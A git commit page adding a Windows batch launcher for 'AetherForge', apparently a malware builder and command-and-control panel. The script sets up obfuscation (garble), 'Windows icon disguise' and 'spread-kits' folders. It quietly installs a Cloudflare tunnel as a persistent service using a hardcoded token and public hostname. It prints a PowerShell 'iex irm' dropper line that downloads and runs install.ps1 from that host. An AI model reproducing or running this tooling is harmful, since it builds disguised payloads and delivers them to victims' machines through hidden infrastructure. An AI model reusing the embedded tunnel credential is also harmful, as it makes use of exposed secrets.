feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
251
usb/LAUNCH.bat
Normal file
251
usb/LAUNCH.bat
Normal file
@@ -0,0 +1,251 @@
|
||||
@echo off
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
title AetherForge Control Deck
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
|
||||
echo.
|
||||
echo ================================================================
|
||||
echo AetherForge - Portable Control Deck
|
||||
echo ================================================================
|
||||
echo.
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
|
||||
:: ----------------------------------------------------------------
|
||||
set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
|
||||
set "GO_BIN="
|
||||
|
||||
if exist "%BUNDLED_GO%" (
|
||||
echo [Go] Using bundled toolchain: %ROOT%\toolchain\go
|
||||
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
|
||||
set "GOROOT=%ROOT%\toolchain\go"
|
||||
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
|
||||
goto go_ready
|
||||
)
|
||||
|
||||
:: Check if Go is installed system-wide
|
||||
where go >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [Go] Using system Go installation.
|
||||
set "GO_BIN=go"
|
||||
goto go_ready
|
||||
)
|
||||
|
||||
:: Go not found - offer to download portable toolchain
|
||||
echo [Go] Not found. Downloading portable Go toolchain...
|
||||
echo This only happens once. The toolchain is saved to toolchain\go\
|
||||
echo.
|
||||
|
||||
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
|
||||
set "GO_ARCH=amd64"
|
||||
) else (
|
||||
if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" (
|
||||
set "GO_ARCH=arm64"
|
||||
) else (
|
||||
set "GO_ARCH=386"
|
||||
)
|
||||
)
|
||||
set "GO_VERSION=1.22.4"
|
||||
set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip"
|
||||
set "GO_URL=https://go.dev/dl/%GO_ZIP%"
|
||||
set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip"
|
||||
|
||||
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }"
|
||||
if errorlevel 1 (
|
||||
echo.
|
||||
echo ERROR: Could not download Go. Please either:
|
||||
echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat
|
||||
echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [Go] Extracting toolchain...
|
||||
powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force"
|
||||
del "%GO_DEST%" 2>nul
|
||||
|
||||
if not exist "%BUNDLED_GO%" (
|
||||
echo ERROR: Extraction failed.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
|
||||
set "GOROOT=%ROOT%\toolchain\go"
|
||||
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
|
||||
echo [Go] Toolchain ready.
|
||||
|
||||
:go_ready
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 2. Pin all Go caches to the USB so module downloads travel with you
|
||||
:: ----------------------------------------------------------------
|
||||
set "GOPATH=%ROOT%\toolchain\gopath"
|
||||
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
|
||||
set "GOCACHE=%ROOT%\toolchain\gocache"
|
||||
set "GOENV=off"
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 3. Install optional Forge tools if missing (non-fatal)
|
||||
:: ----------------------------------------------------------------
|
||||
if /i "%AF_INSTALL_TOOLS%"=="1" (
|
||||
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
|
||||
echo [Tools] Installing garble - obfuscation support...
|
||||
"%GO_BIN%" install mvdan.cc/garble@latest
|
||||
if errorlevel 1 (
|
||||
echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
|
||||
) else (
|
||||
echo [Tools] garble ready.
|
||||
)
|
||||
)
|
||||
|
||||
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
|
||||
echo [Tools] Installing go-winres - Windows icon disguise...
|
||||
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
|
||||
if errorlevel 1 (
|
||||
echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
|
||||
) else (
|
||||
echo [Tools] go-winres ready.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
|
||||
)
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 4. Ensure data directories exist
|
||||
:: ----------------------------------------------------------------
|
||||
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
|
||||
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
|
||||
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
||||
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 5. Cloudflare Tunnel — install MSI, register service with token
|
||||
:: ----------------------------------------------------------------
|
||||
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
|
||||
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0FqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_BIN="
|
||||
set "CF_READY=0"
|
||||
|
||||
:: Step A — locate cloudflared binary (system PATH or default install paths)
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_check_service
|
||||
)
|
||||
|
||||
:: Step B — cloudflared not found, install from bundled MSI
|
||||
if not exist "%CF_MSI%" (
|
||||
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Installing cloudflared from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart
|
||||
echo [CF] Waiting for MSI to complete...
|
||||
ping -n 10 127.0.0.1 >nul
|
||||
|
||||
:: Re-locate after install
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_check_service
|
||||
)
|
||||
echo [CF] WARNING: MSI installed but cloudflared still not found. Try running as Administrator.
|
||||
goto cf_done
|
||||
|
||||
:cf_check_service
|
||||
echo [CF] Binary: !CF_BIN!
|
||||
|
||||
:: Step C — register tunnel as Windows service if not already installed
|
||||
sc query cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel service already registered.
|
||||
goto cf_start_service
|
||||
)
|
||||
echo [CF] Registering tunnel service with token...
|
||||
"!CF_BIN!" service install %CF_TOKEN%
|
||||
if errorlevel 1 (
|
||||
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Tunnel service registered.
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
|
||||
:cf_start_service
|
||||
:: Step D — start the service if not already running
|
||||
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running.
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
)
|
||||
net start cloudflared >nul 2>nul
|
||||
ping -n 4 127.0.0.1 >nul
|
||||
echo [CF] Tunnel live: https://%CF_HOSTNAME%
|
||||
set "CF_READY=1"
|
||||
|
||||
:cf_done
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 6. Detect LAN IP for display
|
||||
:: ----------------------------------------------------------------
|
||||
set "LAN_IP=localhost"
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 7. Kill any stale server process
|
||||
:: ----------------------------------------------------------------
|
||||
taskkill /F /IM AetherForge.exe >nul 2>nul
|
||||
ping -n 2 127.0.0.1 >nul
|
||||
|
||||
echo.
|
||||
echo ================================================================
|
||||
echo STARTING CONTROL DECK
|
||||
echo ================================================================
|
||||
echo Local: http://localhost:%SERVER_PORT%
|
||||
echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
||||
if "!CF_READY!"=="1" (
|
||||
echo Public: https://!CF_HOSTNAME!
|
||||
echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1'
|
||||
)
|
||||
echo Data: %ROOT%\data\
|
||||
echo.
|
||||
echo First run: admin password printed to console below.
|
||||
echo Press Ctrl+C to stop.
|
||||
echo ================================================================
|
||||
echo.
|
||||
|
||||
:: Open browser after short delay
|
||||
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||
|
||||
:: Launch server
|
||||
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
|
||||
set "EC=!ERRORLEVEL!"
|
||||
|
||||
echo.
|
||||
if "!EC!"=="0" (
|
||||
echo [Server] Stopped normally.
|
||||
) else (
|
||||
echo [Server] Exited with code !EC!.
|
||||
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
||||
)
|
||||
|
||||
:: Cloudflare tunnel runs as a Windows service — leave it up between sessions
|
||||
|
||||
echo.
|
||||
pause
|
||||
endlocal
|
||||
Reference in New Issue
Block a user